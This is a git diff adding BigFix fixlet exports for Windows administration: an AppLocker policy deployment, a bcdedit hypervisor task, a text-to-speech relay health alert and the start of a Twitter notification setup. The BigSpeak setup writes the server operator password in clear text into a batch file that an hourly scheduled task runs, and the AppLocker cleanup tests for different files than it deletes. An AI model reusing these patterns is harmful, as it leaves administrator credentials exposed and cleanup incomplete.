+    <Relevance>true</Relevance>
+    <Category>Bigfix.me</Category>
+    <Source>Internal</Source>
+    <SourceID>n0m4d1c</SourceID>
+    <SourceReleaseDate>2018-10-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Nov 2018 23:08:42 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Creates a directory for our created files to go
+if {exists file "C:\Apps\Locker\Applocker.ps1"}
+	delete "C:\Apps\Locker\Applocker.ps1"
+endif
+if {exists file "C:\Apps\Locker\Applocker.xml"}
+	delete "C:\Apps\Locker\Applocker.xml"
+endif
+
+//Creates a ps1 file that gets the Administrator SID and uses that to create an XML configuration file.
+delete __createfile
+
+createfile until _end_
+
+$User = Get-WmiObject win32_UserAccount -Filter 'Name = "Administrator"'
+
+$xml = @'
+<AppLockerPolicy Version="1">
+  <RuleCollection Type="Exe" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Script" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
+  <RuleCollection Type="Appx" EnforcementMode="Enabled">
+    <FilePublisherRule Id="f9e7ee63-13da-4646-8f44-f8bed6c4e75e" Name="windows.immersivecontrolpanel, from Microsoft Corporation" Description="" UserOrGroupSid="{{0}" Action="Allow">
+      <Conditions>
+        <FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="windows.immersivecontrolpanel" BinaryName="*">
+          <BinaryVersionRange LowSection="*" HighSection="*" />
+        </FilePublisherCondition>
+      </Conditions>
+    </FilePublisherRule>
+    <FilePublisherRule Id="6e977e00-e0e1-4b26-a163-9ba2c251e5c5" Name="Microsoft.BioEnrollment, from Microsoft Corporation" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
+      <Conditions>
+        <FilePublisherCondition PublisherName="CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" ProductName="Microsoft.BioEnrollment" BinaryName="*">
+          <BinaryVersionRange LowSection="*" HighSection="*" />
+        </FilePublisherCondition>
+      </Conditions>
+    </FilePublisherRule>
+  </RuleCollection>
+</AppLockerPolicy>
+'@ -f $User.SID
+
+$xml | out-file C:\Apps\Locker\Applocker.xml -Encoding utf8
+
+_end_
+
+copy __createfile C:\Apps\Locker\Applocker.ps1
+
+action uses wow64 redirection {not x64 of operating system}
+
+//Runs the ps1 files that creates our configuration file.
+waithidden powershell -ExecutionPolicy Bypass -command "C:\Apps\Locker\Applocker.ps1"
+
+//Runs the command to implement the configuration file.
+waithidden powershell -ExecutionPolicy Bypass -command "Set-AppLockerPolicy –XMLPolicy C:\Apps\Locker\Applocker.xml"
+
+//Sets the Applocker service to start automatically
+waithidden sc.exe config appidsvc start=auto
+
+// Pauses BigFix for 15 sec
+parameter "start" = "{now}"
+pause while {now < ( ((  parameter "start" of action  ) as time ) + 15* second)}
+
+//Clean up
+if {exists file "C:\Apps\Scripts\n0m4d1c.ps1"}
+	delete "C:\Apps\Locker\Applocker.ps1"
+endif
+if {exists file "C:\Apps\Scripts\POS_Applocker_Test.xml"}
+	delete "C:\Apps\Locker\Applocker.xml"
+endif]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes b/Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes
new file mode 100644
index 000000000..bdb0974a9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/BCDedit Hypervisor Command (24885).bes	
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : BCDedit Hypervisor Command
+  ID       : 24885
+  Author   : FrozenWaltDisney
+  Domain   : BESC
+  Imported : 2018-01-15T11:27:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>BCDedit Hypervisor Command</Title>
+    <Description><![CDATA[<P>RUNS command</P>
+<P>bcdedit /set hypervisorlaunchtype auto</P>
+<P>&nbsp;</P>
+<P>For user on 64bit systems</P>
+<P> EDIT: Please note that powershell is not required. instead you can use "waithidden" with the command to make this function. You however do still need to have the wow redirection for 64bit.</p>]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-01-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 Jan 2018 19:24:21 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+delete __createfile
+createfile until END_OF_FILE
+
+cmd /c &quot;bcdedit /set hypervisorlaunchtype auto&quot;
+
+
+END_OF_FILE
+
+delete tmvmstart.ps1
+move __createfile tmvmstart.ps1
+
+override run
+runas=agent
+run { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -windowstyle hidden -File tmvmstart.ps1
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes
new file mode 100644
index 000000000..1f1f35ed8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard (6218).bes	
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigSpeak Audio Health Dashboard
+  ID       : 6218
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-09-29T04:20:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigSpeak Audio Health Dashboard</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=4>BigSpeak&nbsp;Audio Health Dashboard </FONT></STRONG></P><SPAN lang=EN>
+<P dir=ltr align=left>The BigSpeak Audio Health Dashboard enables Text To Speech (TTS) to notify operators of the current health status of their Bigfix environment.<BR>This example only provides part of the ‘BES Relay Health’ section of the ‘Deployment Health Checks’ dashboard, However you could build out the rest of the dashboard, or utilize this example in a whole different way.</P>
+<P dir=ltr align=left>The Checks that this example will report on are:</P>
+<UL>
+<P dir=ltr align=left>
+<LI>Number of Clients Per BES Relay
+<LI>BES Relay Version
+<LI>BES Relay Service Stopped
+<LI>Download Folders
+<LI>BES Relay Free Disk Space
+<P></P></LI></UL>
+<P dir=ltr align=left>Every hour (by default), the native windows TTS engine will inform you as follows:</P>
+<P dir=ltr align=left>"This is a Bigfix Audio Alert"</P>
+<UL>
+<P dir=ltr align=left>
+<LI>If all 5 health checks pass, you will hear, "The current Bigfix status is ALL CLEAR"
+<P></P>
+<P dir=ltr align=left></P>
+<LI>If one or more of the 5 checks FAIL, you will hear a combination of the following:
+<P></P></LI></UL>
+<DIR>
+<DIR>
+<P dir=ltr align=left>"The current Bigfix status for Number of Clients Per Relay is FAIL"<BR>"The current Bigfix status for Relay Version is WARNING"<BR>"The current Bigfix status for Relay Version is FAIL"<BR>"The current Bigfix status for Relay Service Stopped is FAIL"<BR>"The current Bigfix status for Download Folders is FAIL"<BR>"The current Bigfix status for Relay Disk Space is FAIL"<BR></P></DIR></DIR>
+<P style="MARGIN-RIGHT: 0px" dir=ltr align=left><STRONG>There are two tasks which are needed:</STRONG></P>
+<OL>
+<P dir=ltr align=left>
+<LI>BigSpeakAudio Health Dashboard Scheduled Task Setup v1.0
+<LI>BigSpeak Audio Health Dashboard
+<P style="MARGIN-RIGHT: 0px" dir=ltr align=left>&nbsp;</P></LI></OL><B>
+<P dir=ltr align=left>Initial Setup:</P></B>
+<P dir=ltr align=left>Note: This has only been tested on Windows 7.</P>
+<OL>
+<P dir=ltr align=left>
+<LI>Copy the ‘IEM CLI’ folder from your Bigfix server to a location on your windows 7 machine. The default location is: <I>C:\Program Files (x86)\BigFix Enterprise\BES Server\IEM CLI
+<P></P></I>
+<P dir=ltr align=left></P>
+<LI>Since this is the first time utilizing the IEM CLI, you will have to manually authenticate from the Windows 7 endpoint in order to trust the security certificate.
+<P></P>
+<OL type=a>
+<P dir=ltr align=left>
+<LI>From the windows command line browse to the iem.exe and type, "iem login"
+<LI>You will have to provide your operator credentials, then it will ask you to trust the certificate.</LI></OL></LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>On the ‘Description’ Tab, this task will ask for the following:
+<OL>
+<LI>The IEM Server Operator Name
+<LI>The IEM Server Operator Password
+<LI>The windows account name that will be used to execute the scheduled task
+<LI>The windows account password that will be used to execute the scheduled task<BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Two action parameters will also ask for input:
+<OL>
+<LI>The path to the IEM Command Line
+<LI>The IP Address or hostname of the Bigfix Reporting Server</SPAN><SPAN lang=EN><BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator<BR>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Upon completion, the scheduled task "BFAudio_HealthCheck" will have been created that will run every hour by default.</LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard (This Task)</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator
+<OL>
+<LI>Note: Speakers must be turned on for this to work.</LI></OL>
+<P></P></LI></OL>
+<P><STRONG><EM>NOTE: This task will run as a policy. It will become relevant when the file ‘bread.crumb’ exist which is created by the scheduled taks every hour.</EM></STRONG></P></SPAN>]]></Description>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Relevance>exist file &quot;c:\BFAudio\Bread.Crumb&quot;</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Sep 2015 11:14:57 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {exist file "c:\BFAudio\Bread.Crumb"}
+	delete __appendfile
+	appendfile {concatenation "%0d%0a" of (preceding texts of firsts "</Answer>" of (following texts of firsts "<Answer type=%22string%22>" of (lines of files whose (last 3 of name of it = "txt") of folder "c:\BFAudio")))}
+	delete "C:\BFAudio\BFAudio.tts"
+	copy __appendfile "c:\BFAudio\BFAudio.tts"
+	delete "C:\BFAudio\Bread.Crumb"
+endif
+
+delete __createfile
+delete "c:\BFAudio\tts.vbs"
+createfile until TTS
+'tts.vbs
+set t = CreateObject("SAPI.SpVoice")
+t.Speak Wscript.Arguments(0), 3
+t.WaitUntilDone(4500)
+TTS
+move __createfile "c:\BFAudio\tts.vbs"
+
+if {exist file "c:\BFAudio\BFAudio.tts"}
+wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "This is a bigfix audio alert"
+//ALL CLEAR
+	 if {not disjunction of (it contains ":WARN" OR it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status is,,all clear"
+	 endif
+//Number of Clients Per BES Relay
+	 if {disjunction of (it contains "Number of Clients Per BES Relay" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Number of Clients Per Relay is,,FAIL"
+	 endif
+//BES Relay Version
+	 if {disjunction of (it contains "BES Relay Version" AND it contains ":WARN") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Versions is,,WARNING"
+	 elseif {disjunction of (it contains "BES Relay Version" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Versions is,,FAIL"
+	 endif
+//BES Relay Service Stopped
+	 if {disjunction of (it contains "BES Relay Service Stopped" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Service Stopped is,,FAIL"
+	 endif
+//Download Folders
+	 if {disjunction of (it contains "Download Folders" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Download Folders is,,FAIL"
+	 endif
+//BES Relay Free Disk Space
+	 if {disjunction of (it contains "BES Relay Free Disk Space" AND it contains ":FAIL") of lines of file "c:\BFAudio\bfaudio.tts"}
+		wait "C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\CustomSite_BIGTWEET\RunAsCurrentUser.exe" --w --q cmd.exe /C cscript "c:\BFAudio\tts.vbs" "The current bigfix status for, Relay Disk Space is,,FAIL"
+	 endif
+
+endif]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes
new file mode 100644
index 000000000..894ff353b
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (6217).bes	
@@ -0,0 +1,150 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0
+  ID       : 6217
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-09-29T04:19:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=3>Action&nbsp;Parameters:</FONT></STRONG></P>
+<P>&nbsp;<INPUT onfocus="if (this.value == 'OP Name') {this.value = '';}" onblur="if (this.value == '') {this.value = 'OP Name';}" id=RemoteOP title="Enter the Exporting IEM Server Operator Name" value="OP Name" name=RemoteOP>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the&nbsp;IEM Server Operator Name<BR>&nbsp;<INPUT id=RemoteOPPass title="Enter the Exporting IEM Server Operator Password" type=password name=RemoteOPPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the&nbsp;IEM Server Operator Password&nbsp;<BR>&nbsp;<INPUT onfocus="if (this.value == 'bigfix\administrator') {this.value = '';}" onblur="if (this.value == '') {this.value = 'bigfix\administrator';}" id=TaskAdmin title="Enter the account to run the scheduled task" value=bigfix\administrator name=TaskAdmin>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the account name to run the scheduled task<BR>&nbsp;<INPUT id=TaskPass title="Enter the account password to run the scheduled task" type=password name=TaskPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the account password to run the scheduled task<BR><script>
+			document.body.ontakeaction = function() {
+				var theRemoteOP = document.getElementById( "RemoteOP" ).value;
+				var theRemoteOPPass = document.getElementById( "RemoteOPPass" ).value;
+				var theTaskAdmin = document.getElementById( "TaskAdmin" ).value;
+				var theTaskPass = document.getElementById( "TaskPass" ).value;
+				TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { RemoteOP: theRemoteOP , RemoteOPPass: theRemoteOPPass , TaskAdmin: theTaskAdmin , TaskPass: theTaskPass } );
+				return false;
+			}
+			</script><BR><STRONG>_____________________________________________________________________________________________________</STRONG> </P>
+<P><STRONG><FONT size=4>BigSpeak Audio Health Dashboard </FONT></STRONG></P><SPAN lang=EN>
+<P dir=ltr align=left>The BigSpeak Audio Health Dashboard enables Text To Speech (TTS) to notify operators of the current health status of their Bigfix environment.<BR>This example only provides part of the ‘BES Relay Health’ section of the ‘Deployment Health Checks’ dashboard, However you could build out the rest of the dashboard, or utilize this example in a whole different way.</P>
+<P dir=ltr align=left>The Checks that this example will report on are:</P>
+<UL>
+<P dir=ltr align=left>
+<LI>Number of Clients Per BES Relay
+<LI>BES Relay Version
+<LI>BES Relay Service Stopped
+<LI>Download Folders
+<LI>BES Relay Free Disk Space
+<P></P></LI></UL>
+<P dir=ltr align=left>Every hour (by default), the native windows TTS engine will inform you as follows:</P>
+<P dir=ltr align=left>"This is a Bigfix Audio Alert"</P>
+<UL>
+<P dir=ltr align=left>
+<LI>If all 5 health checks pass, you will hear, "The current Bigfix status is ALL CLEAR"
+<P></P>
+<P dir=ltr align=left></P>
+<LI>If one or more of the 5 checks FAIL, you will hear a combination of the following:
+<P></P></LI></UL>
+<DIR>
+<DIR>
+<P dir=ltr align=left>"The current Bigfix status for Number of Clients Per Relay is FAIL"<BR>"The current Bigfix status for Relay Version is WARNING"<BR>"The current Bigfix status for Relay Version is FAIL"<BR>"The current Bigfix status for Relay Service Stopped is FAIL"<BR>"The current Bigfix status for Download Folders is FAIL"<BR>"The current Bigfix status for Relay Disk Space is FAIL"<BR></P></DIR></DIR>
+<P style="MARGIN-RIGHT: 0px" dir=ltr align=left><STRONG>There are two tasks which are needed:</STRONG></P>
+<OL>
+<P dir=ltr align=left>
+<LI>BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (This TASK)
+<LI>BigSpeak Audio Health Dashboard </LI></OL><B>
+<P dir=ltr align=left>Initial Setup:</P></B>
+<P dir=ltr align=left>Note: This has only been tested on Windows 7.</P>
+<OL>
+<P dir=ltr align=left>
+<LI>Copy the ‘IEM CLI’ folder from your Bigfix server to a location on your windows 7 machine. The default location is: <I>C:\Program Files (x86)\BigFix Enterprise\BES Server\IEM CLI
+<P></P></I>
+<P dir=ltr align=left></P>
+<LI>Since this is the first time utilizing the IEM CLI, you will have to manually authenticate from the Windows 7 endpoint in order to trust the security certificate.
+<P></P>
+<OL type=a>
+<P dir=ltr align=left>
+<LI>From the windows command line browse to the iem.exe and type, "iem login"
+<LI>You will have to provide your operator credentials, then it will ask you to trust the certificate.</LI></OL></LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>On the ‘Description’ Tab, this task will ask for the following:
+<OL>
+<LI>The IEM Server Operator Name
+<LI>The IEM Server Operator Password
+<LI>The windows account name that will be used to execute the scheduled task
+<LI>The windows account password that will be used to execute the scheduled task<BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Two action parameters will also ask for input:
+<OL>
+<LI>The path to the IEM Command Line
+<LI>The IP Address or hostname of the Bigfix Reporting Server</SPAN><SPAN lang=EN><BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator<BR>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Upon completion, the scheduled task "BFAudio_HealthCheck" will have been created that will run every hour by default.</LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator
+<OL>
+<LI>Note: Speakers must be turned on for this to work.</LI></OL></LI></OL></SPAN>]]></Description>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Sep 2015 11:16:36 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Location of IEM CLI Folder Here:
+action parameter query "IEMCLI" with description "Please enter the full path to the IEM CLI:" with default value "%22c:\IEM CLI\iem.exe%22"
+
+//IP or Hostname of Bigfix Server:
+action parameter query "BFServer" with description "Please enter the IP address or Hostname of the Bigfix Reporting Server (must be resolvable):" with default value "10.10.10.11"
+
+//Check for C:\BFAudio
+if {not exist folder "C:\BFAudio"}
+	dos mkdir "C:\BFAudio"
+endif
+
+//Create BFAudio Batfile
+delete __appendfile
+appendfile del "c:\BFAudio\*.txt"
+
+//login to API
+appendfile {parameter "IEMCLI" of action} login -q --server={parameter "BFServer" of action} --user={parameter "RemoteOP" of action} --password={parameter "RemoteOPPass" of action}
+
+//Create Results
+//Number of Clients Per BES Relay
+appendfile {parameter "IEMCLI" of action} get query --relevance "if (not ((number of ((it & "" - "" & multiplicity of it as string) of unique values whose (multiplicity of it > 1000) of (values of results of bes property ""relay""))) >= 1)) then (""Number of Clients Per BES Relay:PASS"") else (""Number of Clients Per BES Relay:FAIL"")" >> "c:\BFAudio\NumberOfClients.txt"
+//BES Relay Version
+appendfile {parameter "IEMCLI" of action} get query --relevance "(if (it contains ""'+ txFailed +'"") then ""BES Relay Version:FAIL"" else if (it contains ""'+ txWarning +'"") then ""BES Relay Version:WARN"" else ""BES Relay Version:PASS"") of concatenation of ( if ((preceding text of last ""."" of preceding text of last ""."" of item 0 of it) = (preceding text of last ""."" of preceding text of last ""."" of value of item 1 of it)) then (""' + txPassed + '"") else (""'+ txWarning +'"") ) of ((preceding text of first "","" of ((concatenation "","" of (values whose (it != ""Not Installed"") of results of BES Property ""BES Server Version"")) & "","")) , results whose (value of it != ""Not Installed"") of BES Property ""BES Relay Version"")" >> "c:\BFAudio\RelayVersion.txt"
+//BES Relay Service Stopped
+appendfile {parameter "IEMCLI" of action} get query --relevance "(if (not exists results whose (value of it as lowercase contains ""yes - stopped"") of bes property ""BES Relay Service Installed"") then (""BES Relay Service Stopped:PASS"") else (""BES Relay Service Stopped:FAIL""))" >> "c:\BFAudio\ServiceStopped.txt"
+//Download Folders
+appendfile {parameter "IEMCLI" of action} get query --relevance "if (not (applicable computer count of BES Fixlets whose (name of site of it = ""BES Support"" and id of it = 535 ) > 0)) then (""Download Folders:PASS"") else (""Download Folders:FAIL"")" >> "c:\BFAudio\DownloadFolders.txt"
+//BES Relay Free Disk Space
+appendfile {parameter "IEMCLI" of action} get query --relevance "if (exist preceding texts whose (it as integer < 500) of firsts "" "" of values of results whose (exists value of it) of bes properties whose (name of it = ""BES Health Checks::BES Relay Free Disk Space"")) then ""BES Relay Free Disk Space:FAIL"" else if (exist preceding texts whose (it as integer < 1000) of firsts "" "" of values of results of bes properties whose (name of it = ""BES Health Checks::BES Relay Free Disk Space"")) then ""BES Relay Free Disk Space:WARN"" else ""BES Relay Free Disk Space:PASS""" >> "c:\BFAudio\RelayDiskSpace.txt"
+
+//breadcrumb
+appendfile copy nul > "c:\BFAudio\bread.crumb"
+
+delete "c:\BFAudio\bfaudio.bat"
+copy __appendfile "c:\BFAudio\bfaudio.bat"
+
+//Create Scheduled Task
+dos schtasks /create /sc hourly /mo 1 /tn "BFAudio_HealthCheck" /tr "c:\BFAudio\bfaudio.bat" /ru {parameter "TaskAdmin" of action} /rp {parameter "TaskPass" of action}]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes b/Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes
new file mode 100644
index 000000000..49a21fab9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes	
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigTweet Scheduled Task Setup v2.1
+  ID       : 6113
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-06-26T08:56:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigTweet Scheduled Task Setup v2.1</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=3>Action&nbsp;Parameters:</FONT></STRONG></P>
+<P>&nbsp;<INPUT onfocus="if (this.value == 'OP Name') {this.value = '';}" onblur="if (this.value == '') {this.value = 'OP Name';}" id=RemoteOP title="Enter the Exporting IEM Server Operator Name" value="OP Name" name=RemoteOP>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the&nbsp;IEM Server Operator Name<BR>&nbsp;<INPUT id=RemoteOPPass title="Enter the Exporting IEM Server Operator Password" type=password name=RemoteOPPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the&nbsp;IEM Server Operator Password&nbsp;<BR>&nbsp;<INPUT onfocus="if (this.value == 'bigfix\administrator') {this.value = '';}" onblur="if (this.value == '') {this.value = 'bigfix\administrator';}" id=TaskAdmin title="Enter the account to run the scheduled task" value=bigfix\administrator name=TaskAdmin>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the account name to run the scheduled task<BR>&nbsp;<INPUT id=TaskPass title="Enter the account password to run the scheduled task" type=password name=TaskPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the account password to run the scheduled task<BR><script>
+			document.body.ontakeaction = function() {
+				var theRemoteOP = document.getElementById( "RemoteOP" ).value;
+				var theRemoteOPPass = document.getElementById( "RemoteOPPass" ).value;
+				var theTaskAdmin = document.getElementById( "TaskAdmin" ).value;
+				var theTaskPass = document.getElementById( "TaskPass" ).value;
+				TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { RemoteOP: theRemoteOP , RemoteOPPass: theRemoteOPPass , TaskAdmin: theTaskAdmin , TaskPass: theTaskPass } );
+				return false;
+			}
+			</script><BR><STRONG>_____________________________________________________________________________________________________</STRONG> </P>
+<P><STRONG><FONT size=4>BigTweet</FONT></STRONG></P><SPAN lang=EN><FONT size=3 face=Calibri><FONT size=3 face=Calibri>
+<P dir=ltr align=left>This requires two tasks. 1)BigTweet Scheduled Task Setup v2.1 & 2)BigTweet v2.1</P>
+<P dir=ltr align=left>BigTweet allows you to interface with Twitter and their free highly scalable SMS system for notifications.</P>
+<P dir=ltr align=left>This example will use a BigFix Rest API Query within a scheduled task&nbsp;to report on the number of fixlets that are relevant in a specific site. If relevant fixlets are found, it will send a tweet (using twt) which will notify you via text messaging.</P><B>
+<P dir=ltr align=left>Setup:</P>
+<UL></B>
+<P dir=ltr align=left>
+<LI>Twitter SMS Relay Account
+<UL>
+<LI>Create a Twitter Account used for relaying SMS (example @BigTweet111)
+<LI>Under Account Settings, set ‘Tweet privacy’ to ‘Protect my Tweets’
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>BigFix Server
+<UL>
